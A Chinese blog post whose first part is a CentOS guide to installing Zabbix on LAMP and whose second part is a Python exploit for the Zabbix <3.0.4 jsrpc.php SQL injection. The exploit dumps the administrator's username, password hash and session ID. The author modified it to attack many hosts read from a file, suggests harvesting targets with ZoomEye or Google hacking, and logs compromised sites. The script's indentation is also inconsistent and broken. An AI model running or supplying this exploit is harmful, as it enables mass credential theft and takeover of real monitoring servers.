zabbix 安装配置以及漏洞检测脚本

最近zabbix爆出sql注入漏洞。之前一直没装过。就想着来安装一次。我在centos配置玩玩,记录一下:
1.安装LAMP

yum -y install httpd  mysql  mysql-server mysql-client mysql-devel php  php-mysql php-common  php-gd php-xml php-mbstring php-bcmath  php-odbc curl curl-devel net-snmp net-snmp-devel perl-DBI ntpdate  openssl-devel zlib-devel glibc-devel  gcc  automake  libidn-devel    rpm-devel OpenIPMI-devel

2.配置LAMP

修改  apache 的配置文件的首页顺序 

vim /etc/httpd/conf/httpd.conf

DirectoryIndex index.php index.html index.html.var

 

配置 php 主配文件

vim /etc/php.ini  (去文件里查找 而并非添加。用/直接搜索)

max_execution_time = 300   (最大扩展 执行时间)

max_input_time = 300      (最大输入时间)

date.timezone = PRC      (时区,PRC---> 中国。)

post_max_size = 32M     (上传文件的大小)

 

启动Apache,Mysql

service httpd start

service mysqld start     (第一次启动就是对mysql 数据库的初始化 )

chkconfig mysqld on     设置开机启动

chkconfig httpd on      设置开机启动

 

3.下载且编译安装

创建zabbix用户和组

groupadd -g 201 zabbix

useradd  -g zabbix -u 201 -m zabbix  (增加一个执行zabbix 监控的用户)

下载解压安装

wget https://sourceforge.net/projects/zabbix/files/ZABBIX%20Latest%20Stable/2.2.6

tar zxvf zabbix-2.4.6.tar.gz

cd zabbix-2.2.6

 ./configure --prefix=/usr/local/zabbix --enable-server --enable-agent --enable-proxy --with-mysql --with-net-snmp --with-libcurl

make

make install

 

操作数据库

 mysqladmin -uroot password '123456'   (设置服务器mysql数据库密码)

 mysql -uroot -p

mysql> create database zabbix character set utf8;  (创建zabbix这个数据库)

mysql> grant all privileges on zabbix.* to zabbix@localhost identified by 'changeme';

    (grant all : 授权给所有   on :针对用户 (授权的对象)

     to zabbix@localhost identified by 'changeme'通过zabbix本机,并给

     与 changeme 这个密码 来登陆。并享有所有权限。)

    

mysql> flush privileges;     (刷新授权表,然后数据库里是没有任何数据的) 

mysql> use zabbix ;       (用 use命令 进到 zabbix 这个用户)

mysql> show tables ; (用 show 这个命令 查看这个数据表)结果没有发现任何数据表

mysql> exit

 

导入表结构

# mysql -uroot -p zabbix</root/zabbix-2.2.6/database/mysql/schema.sql

# mysql -uroot -p zabbix</root/zabbix-2.2.6/database/mysql/images.sql

# mysql -uroot -p zabbix</root/zabbix-2.2.6/database/mysql/data.sql

# mysql -uroot -p

mysql> use zabbix ;      

mysql> show tables ;

 

4.添加zabbix服务端口

vim /etc/services

zabbix-agent 10050/tcp Zabbix Agent

zabbix-agent 10050/udp Zabbix Agent

zabbix-trapper 10051/tcp Zabbix Trapper

zabbix-trapper 10051/udp Zabbix Trapper

 

拷贝文件

cp -a /root/zabbix-2.4.6/frontends/php/* /var/www/html/

vim /usr/local/zabbix/etc/zabbix_server.conf

DBName=zabbix

DBUser=zabbix

DBPassword=123456

 

chown -R apache:apache /var/www/html/

 

6、配置zabbix管理(做软连接之前  被链接到的目录没有要链接过来的配置文档,链接之后就有了)

# mkdir /var/log/zabbix

# chown zabbix:zabbix /var/log/zabbix/

# ln -s /usr/local/zabbix/etc/ /etc/zabbix

# ln -s /usr/local/zabbix/bin/* /usr/bin/

# ln -s /usr/local/zabbix/sbin/* /usr/sbin/

 

7 拷贝启动脚本(方便可以用 services zabbix start/stop/restart 命令)

               前提是 zabbix 必须有 读 写 执行 权限:

# cp /root/zabbix-2.4.6/misc/init.d/fedora/core/zabbix_* /etc/init.d/

 

8. 修改启动脚本路径:

# vi /etc/init.d/zabbix_server

修改

BASEDIR=/usr/local

BASEDIR=/usr/local/zabbix

# vi /etc/init.d/zabbix_agentd

修改

BASEDIR=/usr/local

BASEDIR=/usr/local/zabbix

 

9 启动服务:

# chkconfig zabbix_server on

# chkconfig zabbix_agentd on

# service zabbix_server start

# service zabbix_agentd start

 

漏洞利用:

昨天我在写脚本的时候在提取用户名和密码的时候卡了一下。本来想用正则,何奈我不知道构造,最后我是用split()截出来,今天早上看见独等写得不错。顺道贴出来:

代码来自:http://www.waitalone.cn/zabbix-sql-1.html,我改了一下从文件中获取url,批量打击,例如可以用zoomeye批量获取ip,获取自己写google hack工具来获取ip

 

#!/usr/bin/env python
# -*- coding: utf_8 -*-
# Date: 2016/8/18

import urllib2
import sys, os
import re


def check_Sql():
    u'检查是否存在SQL注入'
    payload = "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=999'&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1"
    try:
        response = urllib2.urlopen(url + payload, timeout=10).read()
    except Exception, msg:
        print msg
    else:
        key_reg = re.compile(r"INSERT\s*INTO\s*profiles")
        if key_reg.findall(response):
            return True


def sql_Inject(sql):

    u'获取特定sql语句内容'
    payload = url + "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + urllib2.quote(
        sql) + "&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1"
    try:
        response = urllib2.urlopen(payload, timeout=10).read()
    except Exception, msg:
        print msg
    else:
        result_reg = re.compile(r"Duplicate\s*entry\s*'~(.+?)~1")
        results = result_reg.findall(response)
        if results:
            return results[0]


def get_ip():
	urls = []
	with open('url.txt','r') as f:
		for line in f.readlines():
			urls.append(line.strip())
		return urls	
if __name__ == '__main__':
    # os.system(['clear', 'cls'][os.name == 'nt'])
    print '+' + '-' * 60 + '+'
    print '\t   Python Zabbix<3.0.4 SQL注入 Exploit'
    print '\t\t   Time:2016-08-18'
    print '+' + '-' * 60 + '+'
    # if len(sys.argv) != 2:
    #     print '用法: ' + os.path.basename(sys.argv[0]) + ' Zabbix 网站地址'
    #     print '实例: ' + os.path.basename(sys.argv[0]) + ' http://www.google.com/'
    #     sys.exit()
    # url = sys.argv[1]
    urls = get_ip()

    
    passwd_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select concat(alias,0x3a,passwd) from  users limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
    session_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
    for url in urls:
    	if url[-1] != '/': url += '/'
	    if check_Sql():
	        print u'Zabbix 存在SQL注入漏洞!\n'
	        password = sql_Inject(passwd_sql)
	        print u'管理员  用户名密码:%s' % password
	        session_id = sql_Inject(session_sql)
	        print u'管理员  Session_id:%s' % session_id
	        if password and session_id:
		        with open('zabbix_bug_list.txt','a') as f:
		        	f.write(url +"----" +password+ "----"+ session_id+ '\n')
		        	print '写入成功--zabbix_bug_list.txt'
				

	    else:
	        print u'Zabbix 不存在SQL注入漏洞!\n'

 

  

 

 

  

 

  

 

 

 

 

 

 

posted @ 2016-08-19 15:13  轻落语  阅读(479)  评论(0编辑  收藏  举报